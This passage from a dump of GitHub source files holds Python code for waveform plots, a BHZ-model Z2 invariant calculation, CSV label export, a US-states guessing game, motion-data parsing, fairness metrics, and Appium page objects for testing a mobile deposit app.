np.sin(TWO_PI * f * t)\n lineplot(t, amp, filename)\n\n\ndef sawtooth(f, filename=None):\n t = np.linspace(0, 1, NUM)\n amp = 2 * (f*t - np.floor(1/2 + f*t))\n lineplot(t, amp, filename)\n\n\ndef square(f, filename=None):\n t = np.linspace(0, 1, NUM)\n amp = np.sign(np.sin(TWO_PI * f * t))\n lineplot(t, amp, filename)\n\n\ndef triangle(f, filename=None):\n t = np.linspace(0, 1, NUM)\n amp = 4 * np.abs(f * (t+1/4) - np.floor(1/2 + f * (t + 1/4))) - 1\n lineplot(t, amp, filename)\n\n\ndef sawtooth_ap(f, n=20, filename=None):\n t = np.linspace(0, 1, NUM)\n result = 0\n for k in range(1, n+1, 1):\n sign = -1 if k % 2 == 1 else 1\n result += sign * np.sin(TWO_PI * k * f * t) / k\n amp = 1/2 - 1/PI * result\n lineplot(t, amp, filename)\n\n\ndef square_ap(f, n=20, filename=None):\n t = np.linspace(0, 1, NUM)\n result = 0\n for k in range(1, n+1, 1):\n result += np.sin(TWO_PI * (2*k - 1) * f * t) / (2*k-1)\n amp = 4/PI * result\n lineplot(t, amp, filename)\n\n\ndef triangle_ap(f, n=20, filename=None):\n t = np.linspace(0, 1, NUM)\n result = 0\n for k in range(n):\n sign = -1 if k % 2 == 1 else 1\n result += sign * np.sin(TWO_PI * f * (2 * k + 1)\n * t) / ((2 * k + 1)**2)\n amp = 8/(PI**2) * result\n lineplot(t, amp, filename)\n\n\ndef exp_map(k, filename=None):\n x = np.linspace(0, 1, NUM)\n fx = np.power(x, 1+(k-1)/3)\n lineplot(x, fx, filename, title=r'$y(x) = x^{1+(k-1)/3}$')\n\n\ndef one_pole(y, alpha):\n y_new = np.zeros(len(y))\n y_new[0] = y[0]\n for i in range(1, len(y_new)):\n y_new[i] = (1-np.abs(alpha)) * y[i] + alpha * y_new[i-1]\n return y_new\n\n\ndef test_pole(f):\n t = np.linspace(0, 1/f, int(1/f * NUM))\n amp = np.sin(TWO_PI * f * t)\n lineplot(t, one_pole(amp, 0.995))\n #lineplot(t, amp)\n\n\ndef main():\n sine(1, './../figs/sounddesign/sine.png')\n sawtooth(1, './../figs/sounddesign/sawtooth.png')\n square(1, './../figs/sounddesign/square.png')\n triangle(1, './../figs/sounddesign/triangle.png')\n triangle_ap(f=1, n=5, filename='./../figs/sounddesign/triangle_5.png')\n sawtooth_ap(f=1, n=20, filename='./../figs/sounddesign/sawtooth_20.png')\n square_ap(f=1, n=20, filename='./../figs/sounddesign/square_20.png')\n\n exp_map(k=2, filename='./../figs/sounddesign/add-synth-env_2.png')\n exp_map(k=10, filename='./../figs/sounddesign/add-synth-env_10.png')\n\n\nif __name__ == \"__main__\":\n sns.set_theme()\n sns.set_style(\"whitegrid\")\n main()\n # test_pole(100)\n","repo_name":"BZoennchen/supercollider-book","sub_path":"plots/wave-plots.py","file_name":"wave-plots.py","file_ext":"py","file_size_in_byte":3115,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"18"} +{"seq_id":"30245459125","text":"\"\"\"\nThis code is supported by the website: https://www.guanjihuan.com\nThe newest version of this code is on the web page: https://www.guanjihuan.com/archives/5778\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom math import * # 引入pi, cos等\nimport cmath\nimport time\n\n\ndef hamiltonian(kx, ky): # BHZ模型\n A=0.3645/5\n B=-0.686/25\n C=0\n D=-0.512/25\n M=-0.01\n matrix = np.zeros((4, 4))*(1+0j) \n\n varepsilon = C-2*D*(2-cos(kx)-cos(ky))\n d3 = -2*B*(2-(M/2/B)-cos(kx)-cos(ky))\n d1_d2 = A*(sin(kx)+1j*sin(ky))\n matrix[0, 0] = varepsilon+d3\n matrix[1, 1] = varepsilon-d3\n matrix[0, 1] = np.conj(d1_d2)\n matrix[1, 0] = d1_d2 \n\n varepsilon = C-2*D*(2-cos(-kx)-cos(-ky))\n d3 = -2*B*(2-(M/2/B)-cos(-kx)-cos(-ky))\n d1_d2 = A*(sin(-kx)+1j*sin(-ky))\n matrix[2, 2] = varepsilon+d3\n matrix[3, 3] = varepsilon-d3\n matrix[2, 3] = d1_d2 \n matrix[3, 2] = np.conj(d1_d2)\n return matrix\n\n\ndef main():\n start_clock = time.perf_counter()\n delta = 0.1\n Z2 = 0 # Z2数\n for kx in np.arange(-pi, 0, delta):\n print(kx)\n for ky in np.arange(-pi, pi, delta):\n H = hamiltonian(kx, ky) \n eigenvalue, eigenvector = np.linalg.eig(H)\n vector = eigenvector[:, np.argsort(np.real(eigenvalue))[0]] # 价带波函数1\n vector2 = eigenvector[:, np.argsort(np.real(eigenvalue))[1]] # 价带波函数2\n \n H_delta_kx = hamiltonian(kx+delta, ky) \n eigenvalue, eigenvector = np.linalg.eig(H_delta_kx)\n vector_delta_kx = eigenvector[:, np.argsort(np.real(eigenvalue))[0]] # 略偏离kx的波函数1\n vector_delta_kx2 = eigenvector[:, np.argsort(np.real(eigenvalue))[1]] # 略偏离kx的波函数2\n\n H_delta_ky = hamiltonian(kx, ky+delta) \n eigenvalue, eigenvector = np.linalg.eig(H_delta_ky)\n vector_delta_ky = eigenvector[:, np.argsort(np.real(eigenvalue))[0]] # 略偏离ky的波函数1\n vector_delta_ky2 = eigenvector[:, np.argsort(np.real(eigenvalue))[1]] # 略偏离ky的波函数2\n \n H_delta_kx_ky = hamiltonian(kx+delta, ky+delta) \n eigenvalue, eigenvector = np.linalg.eig(H_delta_kx_ky)\n vector_delta_kx_ky = eigenvector[:, np.argsort(np.real(eigenvalue))[0]] # 略偏离kx和ky的波函数1\n vector_delta_kx_ky2 = eigenvector[:, np.argsort(np.real(eigenvalue))[1]] # 略偏离kx和ky的波函数2\n \n Ux = dot_and_det(vector, vector_delta_kx, vector2, vector_delta_kx2)\n Uy = dot_and_det(vector, vector_delta_ky, vector2, vector_delta_ky2)\n Ux_y = dot_and_det(vector_delta_ky, vector_delta_kx_ky, vector_delta_ky2, vector_delta_kx_ky2)\n Uy_x = dot_and_det(vector_delta_kx, vector_delta_kx_ky, vector_delta_kx2, vector_delta_kx_ky2)\n\n F = np.imag(cmath.log(Ux*Uy_x*np.conj(Ux_y)*np.conj(Uy)))\n A = np.imag(cmath.log(Ux))+np.imag(cmath.log(Uy_x))+np.imag(cmath.log(np.conj(Ux_y)))+np.imag(cmath.log(np.conj(Uy)))\n Z2 = Z2 + (A-F)/(2*pi)\n print('Z2 = ', Z2) # Z2数\n end_clock = time.perf_counter()\n print('CPU执行时间(min)=', (end_clock-start_clock)/60)\n\n\ndef dot_and_det(a1, b1, a2, b2): # 内积组成的矩阵对应的行列式\n x1 = np.dot(np.conj(a1), b1)\n x2 = np.dot(np.conj(a2), b2)\n x3 = np.dot(np.conj(a1), b2)\n x4 = np.dot(np.conj(a2), b1)\n return x1*x2-x3*x4\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"guanjihuan/guanjihuan.com","sub_path":"academic_codes/topological_invariant/2020.09.05_spin_Chern_number_and_Z2_invariant_in_BHZ_model/Z2_invariant_in_BHZ_model.py","file_name":"Z2_invariant_in_BHZ_model.py","file_ext":"py","file_size_in_byte":3503,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"18"} +{"seq_id":"7711926382","text":"import os\nimport pandas as pd\nimport numpy as np\nfrom evaluation.helper import create_folder_structure\n\n\ndef create_labels_csv(self, label, pred, label_names, acquisition_numbers, cfg=None):\n unique_labels = self.cfg.evaluation.unique_labels\n for sample_idx in range(len(pred)):\n # Get the labels for each sample in batch\n label_dict_pred = {'AcquisitionNumber': str(\n acquisition_numbers[sample_idx].item())}\n label_dict_gt = {'AcquisitionNumber': str(\n acquisition_numbers[sample_idx].item())}\n\n for unique_label in unique_labels:\n # Store prediction and groundtruth into dataframe\n\n if cfg.meta.rank_consistent_encoding:\n # Save the rank\n label_dict_gt[unique_label] = [\n (label[sample_idx] > 0.5).sum().item()]\n label_dict_pred[unique_label] = [\n (pred[sample_idx] > 0.5).sum().item()]\n else:\n df_gt = pd.DataFrame(\n np.array([label.tolist()[sample_idx]]), columns=label_names)\n df_pred = pd.DataFrame(\n np.array([pred.tolist()[sample_idx]]), columns=label_names)\n\n # Only take prediction and groundtruth that match the wildcard label and use the argmax as the predicted\n # label of the wildcard label. The +1 is needed because the argmax starts at index 0.\n label_dict_gt[unique_label] = [df_gt.loc[:,\n df_gt.columns.str.contains(unique_label)].loc[0].argmax() + 1]\n label_dict_pred[unique_label] = [df_pred.loc[:,\n df_pred.columns.str.contains(unique_label)].loc[0].argmax() + 1]\n df_gt_unique = pd.DataFrame(label_dict_gt)\n df_pred_unique = pd.DataFrame(label_dict_pred)\n\n destination_dir = os.path.join(self.cfg.evaluation.path_to_evaluation_results_dir,\n self.cfg.meta.prefix_name)\n\n create_folder_structure(destination_dir)\n save_the_dataframes(df_gt_unique, df_pred_unique, destination_dir)\n\n\ndef save_the_dataframes(df_gt_unique, df_pred_unique, destination_dir):\n dataframe_info = {'pred': {'csv_name': 'predictions.csv',\n 'dataframe': df_pred_unique},\n 'gt': {'csv_name': 'groundtruth.csv',\n 'dataframe': df_gt_unique}\n }\n\n for key in dataframe_info.keys():\n combined_csv_path = os.path.join(\n destination_dir, dataframe_info[key]['csv_name'])\n if os.path.isfile(combined_csv_path):\n # Append rows to file if exists\n df_combined = pd.read_csv(combined_csv_path)\n df_combined_updated = pd.concat([\n df_combined, dataframe_info[key]['dataframe']])\n df_combined_updated.to_csv(combined_csv_path, index=False)\n else:\n # Create file if it doesn't exist\n dataframe_info[key]['dataframe'].to_csv(\n combined_csv_path, index=False)\n","repo_name":"FirasGit/chest_radiography_ai_vs_hi","sub_path":"evaluation/create_labels_csv.py","file_name":"create_labels_csv.py","file_ext":"py","file_size_in_byte":3160,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"24968327413","text":"import turtle\nimport pandas\n\n\"\"\"Setting up the screen, with a image of 50 states in USA\"\"\"\nscreen = turtle.Screen()\nimage = \"blank_states_img.gif\"\nscreen.addshape(image)\nturtle.shape(image)\n\n\"\"\"getting the state names from the data frame\"\"\"\ndata = pandas.read_csv(\"50_states.csv\")\nlist_of_states = data.state.to_list()\n\n\nguess_list = []\ncorrect_list = []\nwhile len(guess_list) < 50:\n \"\"\"checking if the answer state is in the list\"\"\"\n answer_state = screen.textinput(title=f\"{len(guess_list)}/50\", prompt=\"What is your guess? \"\n \"\\n Write the first letter in capital.\")\n guess_list.append(answer_state)\n \"\"\"if the user wants to exit\"\"\"\n if answer_state == \"Exit\":\n missing_states = [state for state in list_of_states if state not in correct_list]\n new_data = pandas.DataFrame(missing_states)\n new_data.to_csv(\"missing_states.csv\")\n break\n \"\"\"if the user answering correctly, the showing the location of the state in the map\"\"\"\n if answer_state in list_of_states:\n state_location = turtle.Turtle()\n state_location.hideturtle()\n state_location.penup()\n state_data = data[data.state == answer_state]\n state_location.goto(int(state_data.x), int(state_data.y))\n state_location.write(answer_state)\n correct_list.append(answer_state)\n else:\n print(\"not in the list\")\n\n\"\"\"Create a new list of all the missed list, to learn again\"\"\"\nmissed_states = set(list_of_states).difference(set(correct_list))\nprint(f\"You need to learn about these states: {missed_states}.\")\nscreen.exitonclick()\n\n","repo_name":"marzean/GeographyUSA","sub_path":"us-states-game-start/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1658,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"20181077155","text":"# IMPORTS\nimport glob\nimport json\nimport operator as op\nimport pickle\nfrom datetime import datetime\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\n# VARIABLES\norig_folder = 'exp_res\\\\raw_motiondata\\\\free_talk_couples'\ndest_folder = 'exp_res\\\\processed_motiondata\\\\free_talk_couples'\npickle_folder = 'exp_res\\\\raw_motiondata\\\\pickles'\n# (joint number, joint param): head yaw, head pitch, body yaw, body pitch\ntarget_param = [('head dir', 0), ('head dir', 1), (3,5), (3,4), (20,5), (20,4)]\nparam_len = op.mul(2, op.add(len(target_param), 1))\nnp.set_printoptions(linewidth=400) # no newline within a record\n\n\n# FUNCTIONS\ndef cal_gender(average, entry):\n gender = 0\n for n, val in enumerate(entry):\n if abs(val - average[n]) < abs(val - average[n + int(param_len/2)]):\n gender -= 1\n else:\n gender += 1\n if gender <= 0:\n return 0\n else:\n return 1\n\ndef get_values(people_data, raw_values):\n for param in target_param:\n joint = str(param[0])\n dimen = int(param[1])\n if joint in people_data:\n # head dir\n if joint == 'head dir':\n val = float(people_data[joint].split(',')[dimen])\n # joint\n else:\n val = float(people_data[joint][dimen])\n raw_values.append(val)\n else:\n raw_values.append(0)\n raw_values.append(0) # TODO VAD data\n return raw_values\n\n# file -> f -> json_frames -> frames -> raw_series\n# name:str -> object:object -> lines:str[] -> object:json[] -> values:float[]\ndef main():\n files = glob.glob(orig_folder + '\\\\*.*')\n for file in files:\n file_name = file.split('\\\\')[-1]\n print('Processing: ' + file_name)\n\n # read each frame\n json_frames = []\n with open(file, 'r') as f:\n bracket_stack = 0\n json_frame = []\n for line in f:\n line = line.rstrip()\n if len(line) == 0:\n continue\n # push\n if line[-1] == '{':\n bracket_stack += 1\n # pop when }\n elif line[-1] == '}':\n bracket_stack -= 1\n # pop when },\n elif len(line) >= 2 and line[-2] == '}':\n bracket_stack -= 1\n json_frame.append(line)\n if bracket_stack == 0:\n json_frames.append(json_frame)\n json_frame = []\n del json_frame # delete this frame, prep for next\n\n # parse each frame\n frames = []\n for json_frame in json_frames:\n frame_str = '\\n'.join(json_frame)\n frames.append(json.loads(frame_str))\n\n # timestamp frame\n starttime = ''\n if 'start time' not in frames[0]:\n raise ValueError()\n starttime = float(frames[0]['start time'])\n starttime = datetime.fromtimestamp(starttime)\n del frames[0] # frames[0] => time info\n\n # get values\n raw_series = []\n for frame in frames:\n body_count = 0\n if 'people' in frame:\n body_count = len(frame['people'])\n else:\n continue\n \n raw_values = []\n if body_count == 0:\n raw_values = [0] * param_len\n elif body_count == 1:\n raw_values = get_values(frame['people'][0], raw_values)\n elif body_count == 2:\n raw_values = get_values(frame['people'][0], raw_values)\n raw_values = get_values(frame['people'][1], raw_values)\n # TODO gender dicision\n if frame['people'][0][\"3\"][1] < frame['people'][1][\"3\"][1]:\n # change\n raw_values = raw_values[int(len(raw_values)/2):] \\\n + raw_values[:int(len(raw_values)/2)]\n else:\n # no change\n pass\n raw_series.append(raw_values)\n\n # check integrity\n average_vals = [0] * param_len\n for n in range(len(raw_series)):\n if len(raw_series[n]) == param_len:\n average_vals = list(map(op.add, average_vals, raw_series[n]))\n average_vals = [i/len(raw_series) for i in average_vals]\n for n in range(len(raw_series)):\n if len(raw_series[n]) == len(target_param) + 1:\n gender = cal_gender(average_vals, raw_series[n])\n if gender == 0:\n raw_series[n] = raw_series[n] + [0] * (int(param_len/2))\n else:\n raw_series[n] = [0] * (int(param_len/2)) + raw_series[n]\n elif len(raw_series[n]) == param_len:\n pass\n else:\n print(raw_series[n])\n raise ValueError('check length')\n \n # list to numpy array\n raw_series = np.array(raw_series, dtype=float)\n\n # statistics info\n header_top = f'--{file_name}-----'\n header_time = f'start_time:\\t{starttime.isoformat()}'\n header_frames = f'n_frames:\\t{len(raw_series)}'\n header_freq = f'frequency:\\t30 frame / sec'\n header_span = f'time_span:\\t{len(raw_series)/30}'\n avrg_array = []\n loss_array = []\n tran_series = raw_series.T\n for records in tran_series:\n nonzero_rec = []\n for record in records:\n if record:\n nonzero_rec.append(record)\n if len(nonzero_rec) == 0:\n avrg_array.append(0)\n else:\n avrg_array.append(sum(nonzero_rec)/len(nonzero_rec))\n loss_array.append(len(nonzero_rec)/len(records))\n header_avrg = f'average:\\t{avrg_array}'\n header_loss = f'loss_rate:\\t{loss_array}'\n header_end = '-' * 20\n header = '\\n'.join([header_top, header_time, header_frames, header_freq, header_span, header_avrg, header_loss, header_end])\n print(header)\n\n # save\n with open(dest_folder + '\\\\' + file_name, 'w') as f:\n # print meta-info\n f.write(header + '\\n')\n for values in raw_series:\n f.write(str(values) + '\\n')\n \n\n# ENTRY\nif __name__ == '__main__':\n main()\n","repo_name":"Sun-Yuting/PHRI_resource","sub_path":"scripts/data_extr.py","file_name":"data_extr.py","file_ext":"py","file_size_in_byte":6344,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"32287597000","text":"import pandas as pd\n\nfrom causal_discovery.relationship_finder import RelationshipsFinder\n\n\nclass Metrics:\n @staticmethod\n def demographic_parity(x: pd.DataFrame, y_hat: pd.DataFrame, sensitive_attributes: list):\n data = pd.concat([x, y_hat], axis=1)\n finder = RelationshipsFinder(data)\n return finder.get_conditional_distribution(['y_hat'], sensitive_attributes)\n\n @staticmethod\n def predictive_parity(x, y, y_hat, sensitive_attributes):\n data = pd.concat([x, y, y_hat], axis=1)\n finder = RelationshipsFinder(data)\n return finder.get_conditional_distribution(['y'], sensitive_attributes + ['y_hat'])\n\n @staticmethod\n def equalized_odds(x, y, y_hat, sensitive_attributes):\n data = pd.concat([x, y, y_hat], axis=1)\n finder = RelationshipsFinder(data)\n return finder.get_conditional_distribution(['y_hat'], sensitive_attributes + ['y'])\n","repo_name":"kailashkarthik9/causal-fairness","sub_path":"fairness_metrics/metrics.py","file_name":"metrics.py","file_ext":"py","file_size_in_byte":916,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"5726561212","text":"from common import base\n\nimport allure\nimport pytest\n\n\nclass DepositPage(base.Base):\n\n personal_num_transfer = '//*[contains(@text, \"个人号转账\")]'\n payment_channel = '//*[contains(@text, \"支付通道\")]'\n\n # input info block\n name = '//*[@resource-id=\"com.stage.mpsy.stg:id/edtOther1\"]'\n remark = '//*[@resource-id=\"com.stage.mpsy.stg:id/edtRemark\"]'\n amount_placeholder = '//*[@resource-id=\"com.stage.mpsy.stg:id/edtCustomAmount\"]'\n get_receive_payment_account = '//*[contains(@text, \"获取收款账号\")]'\n input_amount_hint = '//*[@resource-id=\"com.stage.mpsy.stg:id/txtAmountTip\"]'\n another_amount = '//*[contains(@text, \"其它金额\")]'\n\n # personal_deposit_info_check_page\n title = '//*[@resource-id=\"com.stage.mpsy.stg:id/topTitle\"]'\n deposit_name = '//*[@resource-id=\"com.stage.mpsy.stg:id/txtAccount\"]'\n deposit_amount = '//*[@resource-id=\"com.stage.mpsy.stg:id/txtAmount\"]'\n deposit_post_script = '//*[@resource-id=\"com.stage.mpsy.stg:id/txtPostscript\"]'\n\n img_upload = '//*[@resource-id=\"com.stage.mpsy.stg:id/imgUpload\"]'\n from_picture_lib = '(//*[@class=\"android.widget.LinearLayout\"])[2]'\n allowed = '(//*[contains(@text, \"允許\")])[2]'\n my_picture = '//*[@resource-id=\"com.google.android.documentsui:id/icon_thumb\"]'\n confirm_picture = '//*[@resource-id=\"com.stage.mpsy.stg:id/menu_crop\"]'\n\n\n @allure.step('點擊使用付款方式')\n def choose_pay_method(self, method):\n self.find_element(f'//*[contains(@text,\"{method}\")]').click()\n\n @allure.step('點擊個人號轉賬')\n def choose_personal_num_transfer(self):\n self.find_element(self.personal_num_transfer).click()\n\n @allure.step('點擊支付通道')\n def choose_payment_channel(self):\n self.find_element(self.payment_channel).click()\n\n @allure.step('選擇收款銀行')\n def click_to_choose_bank(self, bank_name='成都银行'):\n self.find_element(f'//*[contains(@text, \"{bank_name}\")]').click()\n\n @allure.step('顯示已選的銀行')\n def check_bank_name_when_its_chosen(self, bank_name='成都银行'):\n assert self.find_element(f'//*[contains(@text, \"{bank_name}\")]') is not None\n\n @allure.step('輸入存款人姓名')\n def input_name(self, name):\n self.find_element(self.name).send_keys(name)\n\n @allure.step('輸入存款備註')\n def input_remark(self, remark):\n self.find_element(self.remark).send_keys(remark)\n\n @allure.step('點擊其他金額')\n def click_another_amount(self):\n self.find_element(self.another_amount).click()\n\n @allure.step('檢查獲取收款帳號可否點擊')\n def check_get_receive_payment_account_enabled_or_not(self, bool_: bool):\n if bool_ is True:\n assert self.find_element(self.get_receive_payment_account).is_enabled() is not False\n else:\n assert self.find_element(self.get_receive_payment_account).is_enabled() is False\n\n @allure.step('輸入充值金額')\n def input_amount(self, amount):\n self.find_element(self.amount_placeholder).send_keys(amount)\n\n @allure.step('檢查充值時輸入錯誤產生的紅字提示')\n def check_red_hint_with_invalid_input(self, err_msg):\n assert err_msg in self.find_element(self.input_amount_hint).text\n\n @allure.step('點擊獲取收款帳號')\n def click_get_receive_payment_account(self):\n self.find_element(self.get_receive_payment_account).click()\n\n @allure.step('點擊圖片, 跳出選擇圖庫或相片')\n def click_image_btn(self):\n self.find_element(self.img_upload).click()\n\n @allure.step('點擊從圖庫')\n def click_from_picture_lib(self):\n self.find_element(self.from_picture_lib).click()\n\n @allure.step('允許從 app 讀取圖庫')\n def allowed_app_load_image(self):\n self.find_element(self.allowed).click()\n\n @allure.step('選擇圖庫裡第一張照片, 進入修改照片')\n def choose_the_first_in_lib(self):\n self.find_element(self.my_picture).click()\n\n @allure.step('點擊右上角勾勾, 確認上傳修改完圖片')\n def upload_the_chosen_image(self):\n self.find_element(self.confirm_picture).click()\n\n\nclass OfflineDeposit(DepositPage):\n \"\"\"線下轉帳的流程跟其他充值流程較不相同, 所以獨自寫一個\"\"\"\n\n bank_choose = '//*[@resource-id=\"com.stage.mpsy.stg:id/transInBankTitleName\"]'\n bank_list = '//*[@resource-id=\"com.stage.mpsy.stg:id/design_bottom_sheet\"]'\n post_script = '//*[@resource-id=\"com.stage.mpsy.stg:id/txtPostscript\"]'\n next_step = '//*[@text=\"下一步\"]'\n\n @allure.step('點擊收款銀行, 從底部彈出銀行清單')\n def click_to_show_up_bank_list(self):\n self.find_element(self.bank_choose).click()\n self.display_bank_list_or_not(display=True)\n\n\n @allure.step('檢查銀行清單是否彈出')\n def display_bank_list_or_not(self, display):\n if display is False:\n assert self.find_element(self.bank_list) is None\n elif display is True:\n assert self.find_element(self.bank_list) is not None\n\n\n @allure.step('顯示已選銀行的分行')\n def check_subbank_name_when_its_chosen(self, subbank_name='上海分行'):\n assert self.find_element(f'//*[contains(@text, \"{subbank_name}\")]') is not None\n\n @allure.step('顯示附言為使用者名稱')\n def check_post_script(self, username: str):\n assert str(username).upper() in self.find_element(self.post_script).text\n\n @allure.step('點擊下一步, 進入選擇金額頁面')\n def click_next_step(self):\n self.find_element(self.next_step).click()\n\n\n class ChooseAmountPage(base.Base):\n popup_hint_title = '//*[@resource-id=\"com.stage.mpsy.stg:id/txtTitle\"]'\n popup_hint_message = '//*[@resource-id=\"com.stage.mpsy.stg:id/txtMessage\"]'\n popup_hint_confirm = '//*[@resource-id=\"com.stage.mpsy.stg:id/txtConfirm\"]'\n\n name = '//*[@resource-id=\"com.stage.mpsy.stg:id/edtName\"]'\n remark = '//*[@resource-id=\"com.stage.mpsy.stg:id/edtRemark\"]'\n immediately_deposit = '//*[contains(@text, \"立即存款\")]'\n\n # 以下為一組(點擊後有展開後續動作)\n deposit_method = '//*[@resource-id=\"com.stage.mpsy.stg:id/depositMethodArrow\"]'\n ATM_transger = '//*[contains(@text, \"ATM 转帐\")]'\n ATM_cash = '//*[contains(@text, \"ATM 现金存入\")]'\n bank_counter = '//*[contains(@text, \"银行柜檯\")]'\n another = '//*[contains(@text, \"其他\")]'\n\n transfer_out_bank = '//*[@resource-id=\"com.stage.mpsy.stg:id/transBankArrow\"]'\n\n img_upload = '//*[@resource-id=\"com.stage.mpsy.stg:id/imgUploadOffline\"]'\n from_picture_lib = '(//*[@class=\"android.widget.LinearLayout\"])[2]'\n allowed = '(//*[contains(@text, \"允許\")])[2]'\n my_picture = '//*[@resource-id=\"com.google.android.documentsui:id/icon_thumb\"]'\n confirm_picture = '//*[@resource-id=\"com.stage.mpsy.stg:id/menu_crop\"]'\n\n other_amount = '//*[contains(@text, \"其它金额\")]'\n amount_placeholder = '//*[@resource-id=\"com.stage.mpsy.stg:id/edtCustomAmount\"]'\n\n\n @allure.step('檢查溫馨提示訊息並點擊確定, 關閉提示視窗')\n def check_popup_warm_hint_and_click_confirm(self):\n self.assert_('equal', self.find_element(self.popup_hint_title).text, '温馨提示')\n self.assert_('in', '公司账号随时更换! 请每次存款都至入款画面进行操作', self.find_element(self.popup_hint_message).text)\n self.find_element(self.popup_hint_confirm).click()\n\n @allure.step('輸入存款人姓名')\n def input_name(self, name):\n self.find_element(self.name).clear()\n self.find_element(self.name).send_keys(name)\n\n @allure.step('點開轉出銀行的銀行選單')\n def click_to_show_up_transfer_out_bank_list(self):\n self.find_element(self.transfer_out_bank).click()\n\n @allure.step('選擇轉出銀行')\n def choose_transfer_out_bank(self, bank_name='平安银行'):\n self.find_element(f'//*[@text=\"{bank_name}\"]').click()\n\n @allure.step('輸入存款備註')\n def input_remark(self, remark):\n self.find_element(self.remark).send_keys(remark)\n\n @allure.step('上傳圖片')\n def upload_img(self):\n self.find_element(self.img_upload).click()\n self.find_element(self.from_picture_lib).click()\n self.find_element(self.allowed).click()\n\n self.find_element(self.img_upload).click()\n self.find_element(self.from_picture_lib).click()\n self.find_element(self.my_picture).click()\n self.find_element(self.confirm_picture).click()\n\n @allure.step('選擇其他金額後(立即存款變成無法點擊), 並輸入想要的金額(輸入後立即存款可以點擊)')\n def choose_other_amount_button_then_input_amount(self, amount):\n self.find_element(self.other_amount).click()\n self.check_immediately_deposit_is_enabled_or_not(bool_=False)\n\n self.find_element(self.amount_placeholder).send_keys(amount)\n self.check_immediately_deposit_is_enabled_or_not(bool_=True)\n\n @allure.step('確定立即存款按鈕可否點擊')\n def check_immediately_deposit_is_enabled_or_not(self, bool_):\n assert self.find_element(self.immediately_deposit).is_enabled() is bool_\n\n @allure.step('點擊立即存款')\n def click_immediately_deposit(self,):\n self.find_element(self.immediately_deposit).click()\n\n\n class DepositSuccessPage(base.Base):\n amount = '//*[@resource-id=\"com.stage.mpsy.stg:id/txtAmount\"]'\n deposit_id = '//*[@resource-id=\"com.stage.mpsy.stg:id/txtOrder\"]'\n time = '//*[@resource-id=\"com.stage.mpsy.stg:id/txtOrderTime\"]'\n deposit_name = '//*[@resource-id=\"com.stage.mpsy.stg:id/txtAccount\"]'\n method = '//*[@resource-id=\"com.stage.mpsy.stg:id/txtBankOut\"]'\n receive_payment_bank = '//*[@resource-id=\"com.stage.mpsy.stg:id/txtReceiveAccount\"]'\n deposit_bank = '//*[@resource-id=\"com.stage.mpsy.stg:id/txtOption1\"]'\n\n close = '//*[@resource-id=\"com.stage.mpsy.stg:id/btnCancel\"]'\n go_deposit_record = '//*[@resource-id=\"com.stage.mpsy.stg:id/btnRecord\"]'\n\n @allure.step('點擊關閉後, 返回首頁')\n def click_close_and_go_back_to_home_page(self):\n self.find_element(self.close).click()\n\n @allure.step('檢查成功申請的存款項目, return 訂單號(deposit_id)')\n def check_all_info_with_success_deposited(\n self,\n amount,\n deposit_name,\n receive_payment_bank,\n transfer_out_bank\n ):\n \"\"\"\n 參數由使用這個方法的一方提供\n \"\"\"\n self.assert_('equal', int(float(self.find_element(self.amount).text)), int(amount))\n self.assert_('equal', self.find_element(self.deposit_name).text, deposit_name)\n self.assert_('in', receive_payment_bank, self.find_element(self.receive_payment_bank).text)\n self.assert_('equal', self.find_element(self.deposit_bank).text, transfer_out_bank)\n\n return self.find_element(self.deposit_id).text\n\n\nclass NetbankDeposit(DepositPage):\n # transfer_out_bank = '//*[@resource-id=\"com.stage.mpsy.stg:id/transOutBankTxtName\"]'\n transfer_out_bank = '//*[contains(@text, \"转出银行\")]'\n # receive_payment_bank = '//*[@resource-id=\"com.stage.mpsy.stg:id/transInBankTxtName\"]'\n receive_payment_bank = '//*[contains(@text, \"收款银行\")]'\n other_amount = '//*[contains(@text, \"其它金额\")]'\n amount_placeholder = '//*[@resource-id=\"com.stage.mpsy.stg:id/edtCustomAmount\"]'\n\n receive_payment_account = '//*[contains(@text, \"获取收款账号\")]'\n\n @allure.step('點開轉出銀行的銀行選單')\n def click_to_show_up_transfer_out_bank_list(self):\n self.find_element(self.transfer_out_bank).click()\n\n @allure.step('選擇轉出銀行')\n def choose_transfer_out_bank(self, bank_name='平安银行'):\n self.find_element(f'//*[@text=\"{bank_name}\"]').click()\n\n\n @allure.step('點擊收款銀行, 從底部彈出銀行清單')\n def click_to_show_up_receive_payment_bank_list(self):\n self.find_element(self.receive_payment_bank).click()\n\n\n @allure.step('選擇其他金額後(獲取收款帳號變成無法點擊), 並輸入想要的金額(輸入後獲取收款帳號可以點擊)')\n def choose_other_amount_button_then_input_amount(self, amount):\n self.find_element(self.other_amount).click()\n self.check_get_receive_payment_account_is_enabled_or_not(bool_=False)\n\n self.find_element(self.amount_placeholder).send_keys(amount)\n self.check_get_receive_payment_account_is_enabled_or_not(bool_=True)\n\n @allure.step('確定獲取收款帳號按鈕可否點擊')\n def check_get_receive_payment_account_is_enabled_or_not(self, bool_):\n assert self.find_element(self.receive_payment_account).is_enabled() is bool_\n\n @allure.step('點擊獲取收款帳號')\n def click_get_receive_payment_account(self,):\n self.find_element(self.receive_payment_account).click()\n\n\nclass BorrowCardDeposit(DepositPage):\n online_deposit = '//*[contains(@text, \"借记卡线上存款\")]'\n\n payment_channel = '//*[contains(@text, \"支付通道\")]'\n\n @allure.step('點擊支付通道, 顯示支付通道清單')\n def click_to_show_up_payment_channel_list(self):\n self.find_element(self.payment_channel).click()\n\n @allure.step('選擇支付通道')\n def choose_payment_channel(self, channel='alipay'):\n self.find_element(f'//*[contains(@text, \"{channel}\"]')\n\n\nclass NetellerDeposit(DepositPage):\n\n 